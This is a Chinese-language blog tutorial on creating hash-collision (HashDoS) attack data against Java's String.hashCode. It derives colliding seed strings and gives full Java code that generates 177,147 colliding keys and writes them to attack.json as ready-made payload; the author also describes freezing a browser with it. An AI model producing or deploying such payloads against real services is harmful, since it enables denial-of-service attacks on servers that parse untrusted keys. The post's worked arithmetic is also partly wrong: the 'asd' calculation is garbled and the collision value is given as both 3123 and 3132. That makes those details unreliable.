java 如何生成Hash攻击数据？ 2017年6月16日
未分类
0 条评论

java 如何生成Hash攻击数据？

上次我们讨论了如何进行Hash攻击，最重要步骤就是生成攻击数据。本文对如何生成攻击数据进行了研究。

参考：https://yq.aliyun.com/articles/93526

 

一、如何生成攻击数据

（1）解析hash算法

要找出hash值一致的key，首先要研究java中的hash算法。

因为攻击的key为String字符串，所以查看String.class中的hashcode()方法：

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;
 
        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

尝试使用此算法进行手工计算。

以字符串“asd”为例，val数组为[97 100 115]，计算过程为（（0 + 97）* 31 + （0 + 97）） * 31 + （（0 + 97）* 31 + （0 + 97）），结果为96882。

将此算法写成一个静态方法，查看hash的结果：

TestCreate.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.test.testAttack;
 
public class TestCrate {
 
public static int makeHash(String string) {
 
int h = 0;
 
if (h == 0 && string.length() > 0) {
 
char val[] = string.toCharArray();
for (int i = 0; i < string.length(); i++) {
 
h = 31 * h + val[i];
}
}
 
return h;
}
 
public static void main(String[] args) {
 
System.out.println(makeHash("asd"));
System.out.println("asd".hashCode());
}
}

运行结果为：

1
2
96882
96882

显然，核心算法为：

1
h = 31 * h + val[i];

即F(n) = 31 * F(n-1) + str[i]。

（2）逆推hash算法

现在已知核心算法为F(n) = 31 * F(n-1) + str[i]，将F(n-1)替换为x，将str[i]替换为y，可以得到这样的公式：F(n) = 31 * x + y。

其中，x和y均为字符，F(n)位hash值。我们不难找到这样的组合：

1
2
3
4
5
at = a*31 + t= 97*31 + 116 = 3123
 
bU = b*31 + U = 98*31 + 85 = 3123
 
c6 = c*31 + 6 = 99*31 + 54 = 3123

于是我们得到了三个“种子”，“at”、“bU”和“c6”（三者计算的hash值均为3132）。此三者的任意组合（当然字符串的长度要一致）的hash值均相等。

如果我们需要生成长度为22位的字符串（即11个种子的组合），推算将获得3^11 = 177 147 个key。

（3）获取所有组合

现在我们需要获获取这三个种子组成22位长度字符串的所有组合。

这个算法可能不太好想。于是先简化问题：“现有abc三个字符，列举这三个字符组成的长度为3的所有组合”。

我们尝试使用迭代来解决这个问题，解决方案如下：

TestPermutation.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.test.testAttack;
 
public class TestPermutation {
 
public static void per(String[] buf, String[] seeds, int len, String string) {
 
if (len == -1) {
 
for (int i = buf.length - 1; i >= 0; --i) {
 
string = string + buf[i];
}
 
System.out.print(string + " ");
 
return;
}
 
for (int i = 0; i < seeds.length; i++) {
 
buf[len] = seeds[i];
 
per(buf, seeds, len - 1, string);
}
}
 
public static void main(String[] args) {
 
String[] seeds = { "a", "b", "c" };
 
String string = "";
 
per(new String[3], seeds, 3 - 1, string);
}
}

运行结果为：

1
aaa aab aac aba abb abc aca acb acc baa bab bac bba bbb bbc bca bcb bcc caa cab cac cba cbb cbc cca ccb ccc

成功列举了所有组合。获取种子的所有组合也是同理：

CreateAttackData.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.test.testAttack;
 
import java.util.HashMap;
 
public class CreateAttackData {
 
public static void per(String[] buf, String[] seeds, int len, String string , HashMap<String, Integer> hashMap) {
 
if (len == -1) {
 
for (int i = buf.length - 1; i >= 0; --i) {
 
string = string + buf[i];
}
hashMap.put(string, 0);
 
return;
}
 
for (int i = 0; i < seeds.length; i++) {
 
buf[len] = seeds[i];
 
per(buf, seeds, len - 1, string , hashMap);
}
}
 
public static void main(String[] args) {
 
String[] seeds = { "at", "bU", "c6" };
 
String string = "";
HashMap<String, Integer> hashMap = new HashMap<String, Integer>();
 
per(new String[11], seeds, 11 - 1, string , hashMap);
System.out.println(hashMap.size());
}
}

运行结果为：

1
177147

正好为预计的key的数量。

这里有个问题：我使用了HashMap来装载所有攻击数据的键值对（为了方便使用jackson生成json），在Jdk 1.8中，因为HashMap使用红黑树进行了优化，所以不会遇到链表过长的问题。但是在jdk 1.8以下的版本，这种做法无异于对本机进行攻击，将造成cpu使用率飙升。所以低版本的jdk不适合运行此程序。

那么低版本的jdk怎么办？可以这样解决：使用List装载所有生成的key，然后写个循环拼接json。当然最简单的方式是换用其他（没有hash冲突的）语言写个脚本生成json。

（4）获取攻击数据（json）

CreateAttackData.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.test.testAttack;
 
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
 
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
 
public class CreateAttackData {
 
public static void per(String[] buf, String[] seeds, int len, String string, HashMap<String, Integer> hashMap) {
 
if (len == -1) {
 
for (int i = buf.length - 1; i >= 0; --i) {
 
string = string + buf[i];
}
 
hashMap.put(string, 0);
 
return;
}
 
for (int i = 0; i < seeds.length; i++) {
 
buf[len] = seeds[i];
 
per(buf, seeds, len - 1, string, hashMap);
}
}
 
public static void main(String[] args) {
 
String[] seeds = { "at", "bU", "c6" };
 
String string = "";
 
HashMap<String, Integer> hashMap = new HashMap<String, Integer>();
 
per(new String[11], seeds, 11 - 1, string, hashMap);
 
System.out.println(hashMap.size());
 
ObjectMapper objectMapper = new ObjectMapper();
 
FileWriter fileWriter = null;
 
try {
 
String json = objectMapper.writeValueAsString(hashMap);
 
fileWriter = new FileWriter("attack.json");
fileWriter.write(json);
fileWriter.flush();
fileWriter.close();
 
} catch (JsonProcessingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}

之后就能在项目文件下获取attack.json文件，里面就是可用于攻击的数据。

这里补充一个有意思的问题：我尝试使用bejson网站校验攻击数据（黏贴到文本框中），然后我的chrome就卡死了，只能关闭窗口，其他操作一律没有响应，推测是成功攻击了本机的js（cpu使用率50%左右，平时只有3%）。

我猜测bejson判断字符串是否为json的的js中应该有类似的代码：

1
2
//只需要一行代码就能看到效果
var jsonSrc = '这里输入json数据'；

导致发生了hash攻击。但是，之后我查看了inore.js，没有发现类似的代码（或许只是字符串太长，js判断是否为json时耗费了大量资源而已？）。

二、总结

本来我想练习一下算法，结果尝试了半天都没写出来，感觉有点难受。但是解决问题的思路还可以，最终还是圆满解决了。

Post Views: 199